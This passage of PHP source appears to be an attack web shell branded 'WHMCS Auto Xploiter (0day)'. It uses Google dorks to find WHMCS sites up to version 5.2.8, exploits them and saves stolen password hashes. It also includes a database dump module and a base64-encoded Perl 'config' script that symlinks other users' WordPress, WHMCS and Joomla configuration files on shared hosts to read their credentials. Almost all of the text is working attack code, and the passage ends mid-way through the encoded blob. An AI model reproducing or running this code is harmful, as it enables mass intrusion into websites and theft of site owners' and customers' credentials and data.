font: 8pt Verdana;
color: white;
}
select {
BORDER-RIGHT: Black 1px solid;
BORDER-TOP: #DF0000 1px solid;
BORDER-LEFT: #DF0000 1px solid;
BORDER-BOTTOM: Black 1px solid;
BORDER-color: #FFF;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: white;
}
submit {
BORDER: buttonhighlight 2px outset;
BACKGROUND-COLOR: Black;
width: 30%;
color: #FFF;
}
textarea {
BACKGROUND-COLOR: Black;
font: Fixedsys bold;
color: #999;
}
BODY {
SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
margin: 1px;
color: Red;
background-color: Black;
}
.main { BORDER: dashed 1px #333;
BORDER-COLOR: #333333;
}
.tt {
background-color: Black;
}
A:link {
COLOR: White; TEXT-DECORATION: none
}
A:visited {
COLOR: White; TEXT-DECORATION: none
}
A:hover {
color: white; TEXT-DECORATION: none
}
A:active {
color: white; TEXT-DECORATION: none
}
#result{margin:10px;}
#result span{display:block;}
#result .Y{background-color:white;}
#result .X{background-color:white;}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
document.getElementById(id).style.display = \'none\';
document.cookie=id+\'=0;\';
}
function show_div(id)
{
document.getElementById(id).style.display = \'block\';
document.cookie=id+\'=1;\';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>
</td></table></tr>
<br>
<br>
<link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Audiowide">
<style>
body {
font-family: 'Audiowide', serif;
font-size: 30px;
}
</style>
</head>
<body onLoad="type_text()" ; bgColor=#000000 text=#00FFFF background="Fashion fuchsia">
<center>
<font face="Audiowide" color="red">WHMCS Auto Xploiter <font color="white">(0day)</font>
<br>
<font color="white" size="4">[For WHMCS ver. <= </font><font color="white" size="4">5.2.8</font><font color="white" size="4">]</font>
</font>
<br><br>
<table border=1 bordercolor=red>
<tr>
<td width="700">
<br />
<center>
<form method="post">
Google Dork:
<input type="text" id="dork" size="30" name="dork" value="<?php echo (isset($_POST['dork']{0})) ? htmlentities($_POST['dork']) : 'inurl:submitticket.php'; ?>" />
<input type="submit" value="Xploit!" id="button"/>
</form>
<?php
if(isset($_POST['dork']{0})) {
$file = fopen("WMCS-Hashes.txt","a");
echo '<br /><div id="result"><b>Scanning has been started... Good luck! ;)</b><br><br>';
letItBy();
for($googlePage = 1; $googlePage <= 50; $googlePage++) {
$googleResult = google_that($_POST['dork'], $googlePage);
if(!$googleResult) {
echo 'Finished scanning.';
fclose($file);
break;
}
for($victim = 0; $victim < sizeof($googleResult); $victim++){
$result = check_vuln($googleResult[$victim]['unescapedUrl']);
$alexa = getAlexa($googleResult[$victim]['unescapedUrl']);
if($result != "Fail!") {
$hashes = "";
foreach ($result as $record) {
$hashes = $hashes . str_replace(':::::','',$record) . "
";
}
$sep = "========================================================
";
$data = $sep . $googleResult[$victim]['unescapedUrl'] . " - Alexa: " .$alexa. "
" . $sep . $hashes . "
";
fwrite($file,$data);
echo "<br /><font color=\"white\">Successfully Xploited...</font>";
echo '<span class="Y">';
echo "<pre>" . $data . "</pre></span><br />";
}
else {
echo '<span class="X">';
echo "<a href=\"{$googleResult[$victim]['unescapedUrl']}\" target='_blank'>{$googleResult[$victim]['titleNoFormatting']}</a> - <font color=\"black\">Failed!</font>";
echo "</span>
<br />";
}
letItBy();
}
}
echo '</div>';
}
ob_flush();flush();
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
<?php
echo $head.'<p align="center">';
echo '
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
<td>Server </td>
<td><input class="inputz" type=text name=server size=52></td></tr><tr>
<td>Username</td>
<td><input class="inputz" type=text name=username size=52></td></tr><tr>
<td>Password</td>
<td><input class="inputz" type=text name=password size=52></td></tr><tr>
<td>DataBase Name</td>
<td><input class="inputz" type=text name=dbname size=52></td></tr>
<tr>
<td>DB Type </td>
<td><form method=post action="'.$me.'">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type=submit value=" Dump! " ></td></tr>
</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";
");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");
");
}
}
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'configini'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=configini" method="post">
<center/><b><font color=>+--==[ Config Fucker .ini Method ]==--+</font></b><br><br>
<?php
if(isset($_POST['configini']))
mkdir('CFI', 0755);
chdir('CFI');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error gan!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .pl
AddHandler cgi-script .pl
AddHandler cgi-script .pl";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5Db25maWcgRnVja2VyIFVzaW5nIC5pbmkgTWV0aG9kPC90aXRsZT4NCjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3BuZy0zLmZpbmRpY29ucy5jb20vZmlsZXMvaWNvbnMvMTkzNS9yZWRfZ2Vtc192b2xfMi8xMjgvcjJfZHJhZ29uLnBuZyIvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHkgew0KCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQoNCn0NCi5uZXdTdHlsZTEgew0KIGZvbnQtZmFtaWx5OiBUYWhvbWE7DQogZm9udC1zaXplOiB4LXNtYWxsOw0KIGZvbnQtd2VpZ2h0OiBib2xkOw0KIGNvbG9yOiAjMDBmZjAwOw0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQokZG9tYWluPSRtc3IuIi8iLiR1c2VyOw0KJGRvbWFpbj1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywkZG9tYWluLid+fj5DTUYuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGRvbWFpbi4nfn4+Q01GLWZvcnVtLmluaScpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luYy9jb25maWcucGhwJywkZG9tYWluLid+fj5NeUJCLmluaScpIDsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkItZm9ydW0uaW5pJykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkZG9tYWluLid+fj5PdGhlci5pbmknKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGRvbWFpbi4nfn4+aW52aXNpby5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbGliL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PkJhbGl0YmFuZy5pbmknKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50cy5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZy5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZ3MuaW5pJykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwJywkZG9tYWluLid+fj5QaHBCQi1mb3J1bS5pbmknKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRkb21haW4uJ35+PnBocGJiMy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobWNzLmluaScpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG1jLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywkZG9tYWluLid+fj53aG1jczIuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+bWFuZ2V3aG1jcy5pbmknKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5XaG05LmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pm15c2hvcC5pbmknKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnN1cHBvcnQuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0cy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5vc2NvbW1lcmNlLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5vc2NvbW1lcmNlcy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2hvcC1zaG9wcGluZy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2FsZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zYWxlLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywkZG9tYWluLid+fj5hbWVtYmVyLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGRvbWFpbi4nfn4+YW1lbWJlcjIuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd3AuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdwLWJldGEuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLWJldGEuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndwMTMtcHJlc3MuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd29yZHByZXNzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd29yZHByZXNzLWJldGEuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLW5ld3MuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbmV3LmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93ZWIvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdlYi5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtYmxvZ3MuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLWhvbWUuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtcHJvdGFsLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+Pm9yZHByZXNzLXNpdGUuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLW1haW4uaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXRlc3QuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWhvbWUuaW5pJykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1qb29tbGEuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLXByb3RhbC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtam9vLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1jbXMuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1zaXRlLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtbWFpbi5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW5ld3MuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW5ldy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWhvbWUuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PlZCdWxsZXRpbi1mb3J1bS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+dmIuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj52YjMuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y3BhbmVsLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+cGFuZWwuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3QuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3RpbmcuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0cy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj56ZW5jYXJ0LmluaScpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnplbmNhcnQtc2hvcC5pbmknKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zaG9wLVpDc2hvcC5pbmknKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn4+bWstcG9ydGFsZTEuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLmluaScpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLXNtZi5pbmknKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLWZvcnVtLmluaScpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLWZvcnVtcy5pbmknKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj51cGxvYWQuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+bWFsYXkuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGVudHMuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudDIuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWEuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZzIuaW5pJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N5c3RlbS9zaXN0ZW0ucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWExLmluaScpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvc3lzdGVtL3Npc3RlbS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCRkb21haW4uJ34+RHJ1cGFsLmluaScpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9lMTA3X2NvbmZpZy5waHAnLCRkb21haW4uJ34+ZTEwNy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZGF0YXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfj5TZWRpdGlvLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvU1NJLnBocCcsJGRvbWFpbi4nfn4+Q01GLmluaScpIDsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TU0kucGhwJywkZG9tYWluLid+fj5DTUYtZm9ydW0uaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luYy9jb25maWcucGhwJywkZG9tYWluLid+fj5NeUJCLmluaScpIDsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywkZG9tYWluLid+fj5NeUJCLWZvcnVtLmluaScpIDsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk90aGVyLmluaScpIDsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGRvbWFpbi4nfn4+aW52aXNpby5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywkZG9tYWluLid+fj5CYWxpdGJhbmcuaW5pJykgOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnRzLmluaScpIDsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdG